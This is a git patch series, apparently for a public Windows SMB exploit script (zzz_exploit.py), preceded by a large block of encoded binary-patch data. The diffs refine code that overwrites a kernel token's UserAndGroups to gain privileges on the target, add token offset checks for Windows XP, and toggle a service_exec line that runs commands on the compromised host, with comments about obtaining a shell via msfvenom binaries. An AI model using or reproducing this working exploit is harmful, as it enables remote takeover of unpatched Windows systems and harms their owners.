z(oF<@V@W}T2QQ*HvC?k(C%))++CjHDeS7-Eay>k8xpMN<tJ5c^Pc-k~q{r9pghLp*
z?1$xrN>~lM0apo#4dYl@_6Vw#%V!sO@Ty>=;sY~YwR6Y4TJ2Pue&~0C8sFeQBIzt1
z*@6$g0O1EoRd1N|^FZM-(g_q=0{i5Qt(10Qd^nC`p&eEm$)t1bZYvCk;?oz-OoyZK
zfOFNbs(sw&=?l`c@vU$SJqhT_(o*1u;hrq)Ts>H8RBL|IZ-s*GWL7~mThVKz2b<Y9
zgkP-SD&C)hh)qG?=?e-NCSc<jVXuuKo^8`8o?ydF+{XsMGaFta<AtP{>$X4?*Oha)
zZnN!m8*Gv?LD=cm!fwY;c|~eZz%Z8c$mY1A{#@S4{)Ep1xRG6E9?37nq43Mgs6_m-
z6|+E)y>YWtj97+}yAl63gL+G>TjJRgvzFVn+^!|gM9$A&Joi&bL^8D9iy~zP($!Kz
zEG5M9;7>t3%D{7Y0?xRZczGv$0br1?ys%w)C)S02A44UgUq;52Y#vlIlrq#Y6!Bn0
z!hLu_n9@dS?qtvh&}+e&BS)09BHovTu$w5V=(%)edNXOsobh}!I_m71X{9t5Oqa+|
zU)NDU%0-tHAOf5nA>x|_q{530=}W2bMzf^C8v#<`O<tPh{zNZu%O5V?CouOboS*#j
zAl>s$jSKI<!{2jwg8xPVH-W|~2g8*&r!%brTEiw(6Nm0~$4tQ3Puwfe&fn{kF2?}e
z`3-Y7Z#tH9wV?Wo<}St*&E9=1?)9^Ix8F=;*BK;a_g&11nY5ov$$S&1utp2413*p|
z_;*?0gY7PWt>5jVQIa)s1{3yiLIAmkA)E{{P$HSjbrfoO6JrvnULis2Q!Hrp>*NRQ
z2sPp_Ak2iU(sI-fqoTH&RBiaJ5-}~>S{#bGrYG8ZEwQKau7`I+%0#Puwd#d*7TRjc
z$ma4Ur<abks&@(V0<P-e2{gJGOLwgsx-zB9W#7O&!2!;e8+Ate_vQMXVdtQ;%Ncbh
za$4JylRZ~GZ?4^JR$E@({D(0$VuDY?M;$bPnh@?@jx>V$rE7>2f}mtA_Vm$@>%3ub
zmIz9QYrRAyW`^yMVb$y~kdxeyC-KN3>d970#9P_Y5wg#62c+la>g}`Lr6s>psejQI
z-IG8{0~|!Mz*VS*AsChbN`KjZA1d)G+&nlD2LWhz>dW<(n}xe68U!o#pxz3?YOCgl
zFX0WmU-5$gu4KgzyKA#8?{n__?a*&|zL)W$#0hG&IeD@%*(z7vYL1jERqqH}v8X9Y
zdgF&9nBXCYb648!o33o}vltZ+KPESx+v_~z;K?U`a6*3C1<I8%H;blIV!a9`$dP2L
z&;+Q1_+SW75rZmn5G9<r$07;kcFVWNF_Wd6Af&O!SUZVAC5!ZJX6f78*=ZzPut0ZB
zPwCRV_d_}N4fF++LX#VYK!|8wz7D$72;)C);w+xvzaRo?4Sg^@PUe{V2vqW9`1|mR
zaqzrUpot1n>5l^`L|6R+L1?u@Du|UZ$%_&}VG_7U#pr(oM*!7l7U5vWa1I_a_YufR
zsHN~|FoG%!hK+vF_+w@jt~drGvdS~Ef`88K!Px>(2aL<G-R3Mu!-|Xh&M9EdHO!h|
zn8nu+R!NMtIB8(=33)b}h|}$nHTGv9dj)cUZUF~B7au^@)*WO^|Df^qnfpU#@z6F#
zPRhtB8HsHGHSuOR&wg_sk?i3ZzNz<s^d8y9D$mI(&u?SoK^ghNLsmQ_D;|AF@09cc
zEm;C@g(V*Cu(>~M7GK)l;3G1)^pJI*mvvu$Nbd{Md(3!8g?z6tmZP?lcvT#V0$LOp
zaVY)-6_{)&09OQp710E%un2(U%v%H%s1R2BDIi{f`kX)rg_!5n9j1`K>6rEcr395$
z&g7iVO%5uc6B2VOhtX6f;=8zzBCP;*T0uA}D#?WdGh$Xp&FUCmhw-4L8K5_@o_ClJ
zsg!7F)eAtL04Mt~40wI2jKaKyV&^QIu=Zj(!g|whcf%5WgOCokE84+zyMgbv!bbDf
zj2INx^OvgK2JCI!gCc}M3B-mY3||9;NOM^s<`8y!?WRo6YCVcpUE}~lw~0Y?SlzXo
zp}W+mE(bGW)wGwhbN|{}s(W?@EsYTo{Ldl1p+*j8qIHR)$9k(Cx^9WPuwqZRLdS2m
zLmyf&2*tjoC$b+$cTc+3p2M3r@dS)`j8nwVxU<JO1UG|q{v_@M(Ii|%6-!d#T%a*&
zL}#lkrTqm|GnSAC10s9cUF-{x61Oo=loUw}99NYM5l7g~>Q-CfAVFg9TL4pV3t!4?
zfw+jD$K&KpjNXJ3@J(+Ul3)lMin;I0nO*U$eCT+|t}3XASc2(d=MO>-iH3-RcH*)D
zZ7R^OQ`!@Oz7)R+v6s;h=orZqi?X`iyHVXFi5fWZ(DpQoGboffNT}Y9J%Be`{%sMs
zUq(G3z&QJbRTGZj{BrQ~sOV<FpEn0g=ackzpyddJO4DAcs7eA>=mh0*7~u9xFoKc&
z;O#u7DvK`hZ`Xsc-dd*EYF1MGb~xVMYNPBgx5Iih^d+#cXYrN@yCp%y^@V(IdXtQm
z6>AFoLZ|C1<EwsnTEsER<vLI|$Qefa{uKb#jdI4EX%%rUp5X5s8j3%l>K<?-+(U>M
zilhSM0dr6W6XYdwR_-1u;#cC$is-PisI{d!qAsMxBr<zfGKScbn{G<t1xuE-6fM!y
zz?q~$nD4b$38gCJdAyqMcGhYcCCNM%7w{mgYrdsol{qj<qAJN51Ng+znZ1UWzK$nC
z*|2lmsgW)CB)0W=G!SI1#+XvR0=|eKhRHd#XMCv~k}P0n4L<_E*6q~8J7OzZ{;~!-
zdNhnPb`FJ{9G!5DC5*AB08~*U+3X^VUnC6Alb`Wjyz~t`k&?ChQLj<R;)i<(rcvOK
zcM%0T2q5LGDpfQHI4FpZa1o9|zggcQHx{vVAb;7PV}U0+5*3w1G7|f#t>ZY@wvI5(
z8uIM#w>xTxVTG%(zQlN=xl#>Qq}mFlN~1&r?=DpvjT?v<>}!DZhKtYR&2Qq7RFH87
zof<J5KZ1x?0U#o9%ts?)UGHrkg@sYfr6DKdRiyPj)geOGUqYvat~T}yEUGMSu;~4G
z9$x=-Jn8Xb8uR!61)b9q#yp=A+&=V#RN_x@Oay=CH#Z!U?8YaNS+Yk~X0uGZF5a%I
zCL^CXIl{(xE#hFxaoF+wSdY0N;BEUBpsLPDLvbh9s^N;zG4g6Ux9Z4DP-jsKYKYqt
zw~CI7v?$U?zW*)G$!!|vu#=cZnjs-AcciL4=1F$xmZio4z3+s&S$q@tzJGw3B7IW-
zEhm@i6Z*umnUknIi~y=dsA>=pz$!n666CQ~=+-(ujIfen7NC^T<kA7VvI_v)I#<r4
zs3G$w$>No2$Dgg$pj|KH5>V8whbyXfQ0E1tX4<s78r<v&LAHVQzJn(s&#~>3M~?Dg
zk_W-a_qY?9TJxk%{?Fr`)S<OaHaU+JPn!2cswW$ceIN7mwyRHa2Rx4&5=y#6WW8;T
z{KT!Lf!zm$Wbj29BL@j5|0*iV$?M`VQN+aX!w)#kj=XdiB+=>^cu54pd_Wq-N032a
zc5O4)4?`+FlkmV#Q#GN*3vBek)UIln4C}+Ckkgk`yfg+mOMJDR$Ho@G^-RIq11Q9A
z7guAxw$hes+!DPiwadp?BYlP8#b=e&vicy5J^*v)u3UEK=Pq0kzZd|{l+B_>;{?nE
zxnzMO&DZkqg48>H?H1~(4`-*iFn0{Bi((VcEy`~9Mn~$J0DhM1V~>B%#%>e_$@G!j
z9%rYslj(KTN1Ph%0<~XaAN~amB`Qk^AYkrsW5T9}5y+B&z@(1U_@%*VP$+KkmPWiG
zjG9Eg<TTPFao+$K1ARib7*@oHL53m`0Lx7vk2ry=9{C-Q8^O3yzB@t47<M4s#8MVW
z9I<t5Gvbi}Ws99SR9Q3f#Ps<(t_^rjo?0*5<pxDK<Qm*kpX#vwiD?WWF0D^53}KKk
z2#JeZkL7TsK84QoDn>4Q^%h3BPVzX)VvOaLopzxXv(q(uabez_EuZ^b$m>ynW${@i
z>eD2<TUlW!z!Bmg3S~Rh_r;-(bbo44?LCZ3ohjigW?`lPwx440HVf)6Iota@E?4Z0
z)tE%_+OEtZ7RbfUBpUe<dZHW)d5#>%pWRN$8O<GXYSdLkE`QH)?90&gpe|fBMz8zD
zV&iH>R7(rHRbE6BoPu1PT+s-fk=E9CF3LN&SBqV8;Zx-jq`bkV)F(Q&D`Szf!&v-B
zx9S+ycv*+Hgn8c0k@@c_hoO&p34O@xArpuz#=n($iZTxdVZ;s{F=#qDN889JO>+A~
z{PyTdUM3ikkO4D+rBRN>w-Mn^c2MMyLmV<7GKFK8xr^P%MbiXo6O|IxP1)W;DI|Ue
zX*aU=)#&$S{3dswXMXNv%I(sgQ6`o9L(%SUUQi`(O5=D(gZN9V;W2vW@gi%YBxwWO
zE?A0rFX16NKw@?*?UC@MTd6O%@M%xSpKn!fG<;9FpG<uI((K!n8J9v(nV)+HGH~6k
zTztDcyYP;kSA~gp(XH7`P6W}5Zn8e@-wAnTE%P%mv4YqK!sz4veXZSs^&%GV#fjx_
z5gHXkDmlRjM8*2=Z4w3h<+xkUaZ*M~bw(!a`0w>3ANFgQ_h0b@Qz)o`$8eE3f)oy)
zLF60<og=v-Zm|vk{$SpbH|S&!`GgH|Hk2+|9y}a-vNX=3mL%iRmg_=Nh*~1`3`G2U
zJHb~m*^fD4<OYnOPDde;TU@LO-^X%`5Lvew-Ec!$YuCq_Q&HUyk%CCW(T%!3BV9<e
zfbS)b4knMfmS`6s3>*)s)2Y71cke;!aCp%REE7j#M1bmO;3|s73OBq`6Jv#U;}(S;
zUPaVL!G~KBwJ7S)HBl=vWKj!-4A&xY-yqCde6$#bD}BP`OfhU2GXfUP0fPp1M+-Qi
z4jMM=_ySTj524U-_+DU$&`OCYR}&_msmS*!B5Am@O>BjDHsVA8N;{<hk_><fFBk=)
z`hXM^eQ=RqBch=f3JZFnpdY_5On_+yzwu=ir5Q9uvQ#~!wvEaowrvY`wp^K=Tex_o
zECLI-q_y;GzKnUZM>!qkM9!ExvXJHOnyf8fC<qIS*h*><x31}V<O(}{@H;+9xd}W)
z2E$jpyamnxO@^gb(jMmi4sw5Zp4{IjQX(rYo?R69{u{uOTN0%}#SlG3{4U}`A~l(@
z;oJ@LIquX*%~%NMILj;wRT3=0U&4yys5mc0h6k5}VTGZ{Y4{)cNN~ndbs}1mB5!$d
zrp^Qx6SCNEv-TYpQ!K=t_%3UI$l{M!e2>K+vq=05!C-I58^lE7?+EJpplPBw@{}Vy
zTq|M#2PN9*FVNV+e=Ra4fpb!YFgi(`P-%-+AWS?*9V0=<1LLS6fY|6QXov^if}Wt(
zh(^E}fGt6bG7fUUibpaIk^l-)p&Ky}Wqbg8-z?)QhLnE&>Wu8G0X{0mrotC_kP@e4
zgpW4%O8MNZy)NHSs@$d`N8BlGKgAkpD_TWFF8lGRP#n$)+&$=(4LutP{S>0YBWw^A
zWQn7Xel=TEBm?ZmC<6f*fiKA)`jn$N2nKl}<_8gs698;SFpzE8!m3&kgCAgy)Pqo#
zCzkA=vY2A=0gH`D=#ATXvXtAA^^Q)zm&bmX`CUdQ-OT@w<~MOAVw3q(XoT%=ll;HK
z;#(-{c#QpB6p2-}zef-qb`{~@N9{3|l$@}IC7lVG(%5K9XC7lqpGIjvg)H*~Sy`Tm
z?A|1K8G*Gr!;iFk6m1IkM{D=~5?lL;+dU?yQcW=P8j)5Iq@7Yd_cNOZY{++!TZu`=
z=<(b0Z5X{rtMjLj13Hcy<seb(kwly#aVahzol*O1EcQ_uH4-4h%BfX5$8$$kjs6Wo
zjl_+spp$97tW}e&;pWIugUT%<M-3{)rP~}oBB+exN4Uh%DhMj^75U&pg38fMP>Jst
zqo7i1Nl+QJqM$NrML}iMVo(VuJZiz7r9ol@qss`lP+idohH#UvV$?#$l<s8IV(<xP
z5_u%`_(u{K6D~iXa7Krs;IblF@5sfZwMt{jj2TNTm82WbcU$rYSaus`YaCO?@>pJQ
zV>dM9%{t&4{=j2vvqdJ*5RlIBQoQ!J2^P0&iZ$_7zsuU=1COVWT_!gp*~K+mHhO!T
zyn7to+lk)Pf=TQ~K96}_T-0*_Y{x}qtPsa;aE8|L|Iy*w4>7TtF|MaB{@=0o6sYXY
zt7Z5o3LwVe7l=HyW^eq=nr$7yWuzx#%$N@RNgA^$tiM?xHk&hO#)p_QCNCJD@uC0n
zp~YzbfXO~8b4C(u;O5kzt?}fMLCa$p^Y8pE=WL+@)Zh~IHvW<XLa&Lz9KS{F)I|sA
zWe1W31>RLmLgDj*;f#4Nljmfg{zWhU`iWN|Q2L1e2<tP4PGNowzXoV@87f~j*<Zuz
zdJ~F@URmiCBtvdd6KO6_{s1D)2}mluS#ROWOLG9sr1Ki{D()*O#rT8awca!XT?5Xf
zsx`_CGQAKGlgu?3ryr62Fp^>Y&V;i!S1x@Fz|3DJeuhmdQG0>KMHZiCafwBR#Wfa^
zvwWAe&$IAY_$=_~cV?A&``L?gypFqWSJ?x?82L=%{KZT2Zso$Pop<g0>^Vt-WMFcO
zC-)!%ymEEEEMGm?4rd8ibXk0b#n)MUjm1|{AbEroY_$>inr{0(JAT08&saz(@>i_U
zVY7e3;)g8$o&~wy{)ojtqDUzqwI}!@!M={ydE$V0?03dSih23zFZLDt#|rxjd*mtR
zj~1eyv0bCP_7wBSo;_ALIC3!g{p#eag@eNf^CjNUi1ScyYT`z@3slul)MM~*eA0+-
z6_4L~UB7>%#OPlO>-Ehi(AE!X2UvTV#W57}SJiMRqFeH;D^cVaGL{u(`OmB!<tt=c
z+>yv%S-nE&aTfd<M?cY{lnN?($D|zjwEpe$o0R;3-v3_SxPym>^TphFesUB)W5dtx
L0!J5ziv#})ezMr2


From 8bd6f3760f76c1fdba0c46b07ef788b3cf425563 Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 22:34:40 -0700
Subject: [PATCH 6/9] test restricted SID values instead of group count

---
 zzz_exploit.py | 69 ++++++++++++++++++++++++++++++++++++++------------
 1 file changed, 53 insertions(+), 16 deletions(-)

diff --git a/zzz_exploit.py b/zzz_exploit.py
index 41f81b8..5c6c2c7 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -867,21 +867,8 @@ def exploit(target, pipe_name):
 		# copy Token data for restoration
 		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
 		
-
-		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
-		userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
-		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
-		# hack to fix XP SP0 and SP1
-		if info['os'] == 'WINXP' and info['arch'] == 'x86':
-			if userAndGroupCount > 4 or userAndGroupCount == 0: # check NULL too
-				print("Bad TOKEN offsets detected, performing workaround")
-				userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
-				userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
-				userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
-
-
-		print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
-		print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
+		# parse necessary data out of token
+		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
 
 		print('overwriting token UserAndGroups')
 		# modify UserAndGroups info
@@ -920,6 +907,55 @@ def exploit(target, pipe_name):
 	conn.get_socket().close()
 	return True
 
+def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
+
+	RestrictedSidCount = unpack_from('<I', tokenData, userAndGroupCountOffset + 4)[0]  				# + sizeof(ULONG) (always 4)
+	RestrictedSids = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset + info['PTR_SIZE'])[0] 	# + sizeof(void*) (4 or 8)
+
+	userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
+	userAndGroupsAddr = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset)[0]
+
+	success = True
+
+	# RestrictedSids and RestrictedSidCount MUST be 0
+	# Could also add a failure point here if userAndGroupCount >= x
+	if RestrictedSids != 0 or RestrictedSidCount != 0:
+		print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
+		print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
+		print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
+		success = False
+
+	print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
+	print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
+
+	return success, userAndGroupCount, userAndGroupsAddr 
+
+def get_group_data_from_token(info, tokenData):
+	userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
+	userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
+
+	# try with default offsets
+	success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+
+	# hack to fix XP SP0 and SP1
+	# I will avoid over-engineering a more elegant solution and leave this as a hack, 
+	# since XP SP0 and SP1 is the only edge case in a LOT of testing!
+	if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
+		print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
+
+		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
+		userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
+
+		# try with hack offsets
+		success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+
+	# still no good. Abort because something is wrong
+	if not success:
+		print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
+		sys.exit()
+
+	# token parsed and validated
+	return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
 
 def smb_pwn(conn, arch):
 	smbConn = conn.get_smbconnection()
@@ -931,7 +967,7 @@ def smb_pwn(conn, arch):
 	smbConn.disconnectTree(tid2)
 	
 	#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
-	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
+	service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 	# Note: there are many methods to get shell over SMB admin session
 	# a simple method to get shell (but easily to be detected by AV) is
 	# executing binary generated by "msfvenom -f exe-service ..."
@@ -1008,3 +1044,4 @@ pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
 
 exploit(target, pipe_name)
 print('Done')
+

From f611d0e5da62854284c1e5ec52b73643af20e436 Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 22:36:36 -0700
Subject: [PATCH 7/9] comment out service_exec

---
 zzz_exploit.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/zzz_exploit.py b/zzz_exploit.py
index 5c6c2c7..f363c9b 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -967,7 +967,7 @@ def smb_pwn(conn, arch):
 	smbConn.disconnectTree(tid2)
 	
 	#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
-	service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
+	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 	# Note: there are many methods to get shell over SMB admin session
 	# a simple method to get shell (but easily to be detected by AV) is
 	# executing binary generated by "msfvenom -f exe-service ..."

From 42af710431c9f48b3a9d1835e0b288fc46daec38 Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 23:54:47 -0700
Subject: [PATCH 8/9] added additional 0 checks and struct notes

---
 zzz_exploit.py | 25 ++++++++++++++++++-------
 1 file changed, 18 insertions(+), 7 deletions(-)

diff --git a/zzz_exploit.py b/zzz_exploit.py
index f363c9b..3ea607f 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -908,18 +908,29 @@ def exploit(target, pipe_name):
 	return True
 
 def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
+	# struct _TOKEN:
+	#	...
+	#	ULONG UserAndGroupCount;                            // Ro: 4-Bytes
+	#	ULONG RestrictedSidCount;                           // Ro: 4-Bytes
+	# 	...
+	#	PSID_AND_ATTRIBUTES UserAndGroups;                  // Wr: sizeof(void*)
+	#	PSID_AND_ATTRIBUTES RestrictedSids;                 // Ro: sizeof(void*)
+	#	...
 
-	RestrictedSidCount = unpack_from('<I', tokenData, userAndGroupCountOffset + 4)[0]  				# + sizeof(ULONG) (always 4)
-	RestrictedSids = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset + info['PTR_SIZE'])[0] 	# + sizeof(void*) (4 or 8)
+	userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset) 
+	userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
 
-	userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
-	userAndGroupsAddr = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset)[0]
+	# RestrictedSidCount 	MUST be 0
+	# RestrictedSids 	MUST be NULL
+	#
+	# userandGroupCount 	must NOT be 0
+	# userandGroupAddr 	must NOT be NULL
+	#
+	# Could also add a failure point here if userAndGroupCount >= x
 
 	success = True
 
-	# RestrictedSids and RestrictedSidCount MUST be 0
-	# Could also add a failure point here if userAndGroupCount >= x
-	if RestrictedSids != 0 or RestrictedSidCount != 0:
+	if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
 		print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
 		print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
 		print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))

From 59de6a0e13653d57ea21d26b76388bc4204ae75b Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Tue, 30 Jan 2018 00:27:48 -0700
Subject: [PATCH 9/9] small typo in doc

---
 zzz_exploit.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/zzz_exploit.py b/zzz_exploit.py
index 3ea607f..2c49b3e 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -924,7 +924,7 @@ def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroup
 	# RestrictedSids 	MUST be NULL
 	#
 	# userandGroupCount 	must NOT be 0
-	# userandGroupAddr 	must NOT be NULL
+	# userandGroupsAddr 	must NOT be NULL
 	#
 	# Could also add a failure point here if userAndGroupCount >= x